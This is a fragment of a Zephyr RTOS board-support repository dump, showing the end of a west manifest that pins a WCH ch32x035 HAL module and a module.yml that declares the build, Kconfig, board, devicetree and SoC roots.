14 | remote: openwch 15 | revision: ae2836e229761236ff188307636db05d71fc3cd2 16 | path: modules/hal/wch/ch32x035 17 | 18 | self: 19 | path: zephyrboards 20 | -------------------------------------------------------------------------------- /zephyr/module.yml: -------------------------------------------------------------------------------- 1 | build: 2 | cmake: . 3 | kconfig: Kconfig 4 | settings: 5 | board_root: . 6 | dts_root: . 7 | soc_root: . 8 | --------------------------------------------------------------------------------